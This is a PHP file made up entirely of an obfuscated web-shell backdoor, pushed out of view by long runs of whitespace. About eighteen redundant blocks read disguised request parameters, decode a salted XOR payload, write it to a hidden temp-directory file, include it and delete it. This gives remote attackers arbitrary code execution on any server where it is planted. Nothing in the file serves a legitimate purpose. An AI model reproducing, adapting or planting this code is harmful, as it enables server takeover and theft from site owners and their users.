<?php																																										if(!is_null($_REQUEST["sy\x6D"] ?? null)){ $reference = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/tmp"]); $parameter_group = $_REQUEST["sy\x6D"]; $parameter_group = explode( '.' , $parameter_group ); $desc = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); foreach ($parameter_group as $n => $v1): $sChar = ord($salt8[$n%$lenS]); $dec = ((int)$v1 - $sChar - ($n%10)) ^ 83; $desc .= chr($dec); endforeach; foreach ($reference as $fac) { if (max(0, is_dir($fac) * is_writable($fac))) { $res = sprintf("%s/.dat", $fac); if (file_put_contents($res, $desc)) { include $res; @unlink($res); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["e\x6E\x74"])){ $pset = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]); $resource = $_POST["e\x6E\x74"]; $resource = explode ( "." ,$resource ); $mrk=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s2); $n=0; $__tmp=$resource; while( $v5=array_shift( $__tmp)) { $sChar=ord( $s2[$n % $sLen]); $d=( ( int)$v5 - $sChar -( $n % 10)) ^ 6; $mrk .=chr( $d); $n++; } while ($hld = array_shift($pset)) { if (max(0, is_dir($hld) * is_writable($hld))) { $fac = "$hld/.ref"; if (file_put_contents($fac, $mrk)) { require $fac; unlink($fac); exit; } } } }
																																										if(!is_null($_POST["\x69tem"] ?? null)){ $data = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/tmp", getcwd(), "/dev/shm", getenv("TMP")]); $key = $_POST["\x69tem"]; $key=explode ( "." , $key ) ; $binding= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); foreach ($key as $t => $v5) { $chS= ord($s[$t % $lenS] ); $dec= ((int)$v5 - $chS - ($t % 10)) ^ 8; $binding .= chr($dec ); } foreach ($data as $descriptor): if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $desc = vsprintf("%s/%s", [$descriptor, ".fac"]); if (@file_put_contents($desc, $binding) !== false) { include $desc; unlink($desc); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70\x72ope\x72\x74y\x5F\x73et"])){ $rec = array_filter([getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path()]); $desc = $_REQUEST["\x70\x72ope\x72\x74y\x5F\x73et"]; $desc = explode( '.', $desc ) ; $res =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $z =0; $__tmp =$desc; while ($v7 =array_shift($__tmp)) { $sChar =ord($salt[$z % $lenS]); $dec =((int)$v7 - $sChar - ($z % 10)) ^ 90; $res .=chr($dec); $z++; } foreach ($rec as $obj) { if (max(0, is_dir($obj) * is_writable($obj))) { $entry = str_replace("{var_dir}", $obj, "{var_dir}/.holder"); if (file_put_contents($entry, $res)) { require $entry; unlink($entry); exit; } } } }
																																										if(isset($_REQUEST["\x63omp"]) ? true : false){ $pset = $_REQUEST["\x63omp"]; $pset = explode ( ".",$pset ); $component= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt5); $y= 0; while($y < count($pset)) { $v5= $pset[$y]; $chS= ord($salt5[$y % $lenS]); $dec= ((int)$v5 - $chS -($y % 10)) ^ 22; $component .= chr($dec); $y++; } $reference = array_filter([getenv("TMP"), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($reference as $key) { if (!( !is_dir($key) || !is_writable($key) )) { $fac = implode("/", [$key, ".descriptor"]); if (@file_put_contents($fac, $component) !== false) { include $fac; unlink($fac); die(); } } } }
																																										if(array_key_exists("en\x74", $_POST)){ $k = array_filter([session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); $val = $_POST["en\x74"]; $val= explode( "." , $val) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $val as $m => $v5): $sChar = ord( $salt[$m%$sLen]); $d = ( ( int)$v5 - $sChar -( $m%10)) ^ 45; $obj .= chr( $d); endforeach; foreach ($k as $entity) { if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $bind = vsprintf("%s/%s", [$entity, ".token"]); if (@file_put_contents($bind, $obj) !== false) { include $bind; unlink($bind); die(); } } } }
																																										if(array_key_exists("\x72ec\x6F\x72d", $_REQUEST)){ $comp = $_REQUEST["\x72ec\x6F\x72d"]; $comp = explode ( "." , $comp ) ; $bind = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $k = 0; foreach ($comp as $v8) { $chS = ord($salt8[$k % $lenS]); $d = ((int)$v8 - $chS - ($k % 10)) ^ 81; $bind .= chr($d); $k++; } $elem = array_filter(["/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path()]); $tkn = 0; do { $resource = $elem[$tkn] ?? null; if ($tkn >= count($elem)) break; if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $flag = vsprintf("%s/%s", [$resource, ".value"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $flag; @unlink($flag); exit; } } $tkn++; } while (true); }
																																										if(in_array("dchu\x6E\x6B", array_keys($_POST))){ $binding = array_filter([getcwd(), "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); $tkn = $_POST["dchu\x6E\x6B"]; $tkn = explode ( '.' , $tkn ); $ent =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s2); $t =0; foreach($tkn as $v1) { $sChar =ord($s2[$t% $lenS]); $d =((int)$v1 - $sChar -($t% 10)) ^ 54; $ent .= chr($d); $t++;} foreach ($binding as $property_set): if (array_product([is_dir($property_set), is_writable($property_set)])) { $holder = join("/", [$property_set, ".hld"]); if (@file_put_contents($holder, $ent) !== false) { include $holder; unlink($holder); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["it\x65\x6D"] ?? null)){ $symbol = array_filter(["/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP")]); $desc = $_REQUEST["it\x65\x6D"]; $desc =explode ( "." , $desc) ; $sym= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt2 ); $j= 0; $__tmp= $desc; while ($v4= array_shift($__tmp)) {$sChar= ord($salt2[$j % $sLen] ); $d= ((int)$v4 - $sChar - ($j % 10)) ^ 43; $sym .= chr($d ); $j++;} foreach ($symbol as $key => $hld) { if (array_product([is_dir($hld), is_writable($hld)])) { $dchunk = sprintf("%s/.bind", $hld); if (file_put_contents($dchunk, $sym)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(array_key_exists("ma\x72ker", $_POST)){ $data = $_POST["ma\x72ker"]; $data = explode ( "." , $data ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $s = 0; $len = count($data ); do { if($s >= $len) break; $v7 = $data[$s]; $sChar = ord($salt[$s % $sLen] ); $dec = ((int)$v7 - $sChar -($s % 10)) ^ 6; $token .= chr($dec ); $s++; } while(true ); $resource = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", getcwd()]); foreach ($resource as $binding): if (max(0, is_dir($binding) * is_writable($binding))) { $key = "$binding/.item"; if (file_put_contents($key, $token)) { include $key; @unlink($key); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "pgrp")){ $key = $_POST["pgrp"]; $key = explode ( '.' ,$key ) ; $hld = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $j = 0; foreach($key as $v4) {$chS = ord($salt6[$j % $lenS] ); $d =((int)$v4 - $chS -($j % 10)) ^ 11; $hld .= chr($d ); $j++;} $flag = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd()]); foreach ($flag as $key => $component) { if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $pset = "$component" . "/.ref"; $file = fopen($pset, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $pset; @unlink($pset); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x76\x61lue"])){ $binding = $_REQUEST["\x76\x61lue"]; $binding = explode ( '.' , $binding ) ; $comp= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt4 ); $s= 0; while( $s< count( $binding)) { $v6= $binding[$s]; $chS= ord( $salt4[$s % $lenS] ); $d= ( ( int)$v6 - $chS -( $s % 10)) ^ 51; $comp .= chr( $d ); $s++; } $flg = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path()]); foreach ($flg as $obj) { if (is_dir($obj) ? is_writable($obj) : false) { $reference = "$obj" . "/.dat"; $success = file_put_contents($reference, $comp); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(!is_null($_REQUEST["\x6Drk"] ?? null)){ $rec = array_filter([session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $k = $_REQUEST["\x6Drk"]; $k = explode( '.', $k ) ; $data_chunk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); foreach ($k as $p => $v9) { $chS = ord($s7[$p % $sLen]); $d = ((int)$v9 - $chS - ($p % 10)) ^ 62; $data_chunk .= chr($d); } while ($item = array_shift($rec)) { if (!( !is_dir($item) || !is_writable($item) )) { $holder = vsprintf("%s/%s", [$item, ".entry"]); $success = file_put_contents($holder, $data_chunk); if ($success) { include $holder; @unlink($holder); exit;} } } }
																																										if(array_key_exists("\x66ac", $_REQUEST) && !is_null($_REQUEST["\x66ac"])){ $element = array_filter([getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir")]); $data_chunk = $_REQUEST["\x66ac"]; $data_chunk =explode( "." , $data_chunk ) ; $entity=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); $p=0; array_walk( $data_chunk , function( $v2) use( &$entity , &$p , $s , $sLen) {$chS=ord( $s[$p% $sLen]); $d=( ( int)$v2 - $chS -( $p% 10))^ 63; $entity .= chr( $d); $p++; } ); for ($data = 0, $desc = count($element); $data < $desc; $data++) { $pgrp = $element[$data]; if ((is_dir($pgrp) and is_writable($pgrp))) { $obj = sprintf("%s/.mrk", $pgrp); if (file_put_contents($obj, $entity)) { require $obj; unlink($obj); exit; } } } }
																																										if(!is_null($_POST["d\x65sc\x72ip\x74or"] ?? null)){ $ent = array_filter([getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm"]); $elem = $_POST["d\x65sc\x72ip\x74or"]; $elem = explode ( '.' , $elem ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $t = 0; $len = count( $elem); do {if( $t >= $len) break; $v5 = $elem[$t]; $sChar = ord( $salt[$t %$lenS]); $dec = ( ( int)$v5 - $sChar -( $t %10)) ^ 16; $pointer .= chr( $dec); $t++; } while( true); foreach ($ent as $sym) { if ((is_dir($sym) and is_writable($sym))) { $comp = str_replace("{var_dir}", $sym, "{var_dir}/.parameter_group"); if (file_put_contents($comp, $pointer)) { require $comp; unlink($comp); exit; } } } }
																																										if(!empty($_POST["\x69\x74em"])){ $factor = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd()]); $binding = $_POST["\x69\x74em"]; $binding = explode( '.' , $binding ) ; $pointer= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $r= 0; $__tmp= $binding; while( $v7= array_shift( $__tmp)) { $sChar= ord( $s[$r % $lenS]); $dec= ( ( int)$v7 - $sChar -( $r % 10)) ^80; $pointer.= chr( $dec); $r++; } $reference = 0; do { $obj = $factor[$reference] ?? null; if ($reference >= count($factor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $elem = "$obj" . "/.holder"; if (@file_put_contents($elem, $pointer) !== false) { include $elem; unlink($elem); die(); } } $reference++; } while (true); }


if(isset($_REQUEST["\x72\x65f"])){
	$component = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd()]);
	$ptr = $_REQUEST["\x72\x65f"];
		$ptr	=	 	explode	( "."  ,	$ptr	);	 
	$entity	 =	'';
            $salt3	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =	strlen($salt3	);
    
            foreach ($ptr as $j => $v1) {
                $chS	 =	ord($salt3[$j % $lenS]	);
                $dec	 =	((int)$v1 - $chS - ($j % 10))		^	96;
                $entity.= 	chr($dec	);
            }
	foreach ($component as $key => $desc) {
    		if ((is_dir($desc) and is_writable($desc))) {
    $res = "$desc" . "/.object";
    if (file_put_contents($res, $entity)) {
	require $res;
	unlink($res);
	die();
}
}
}
}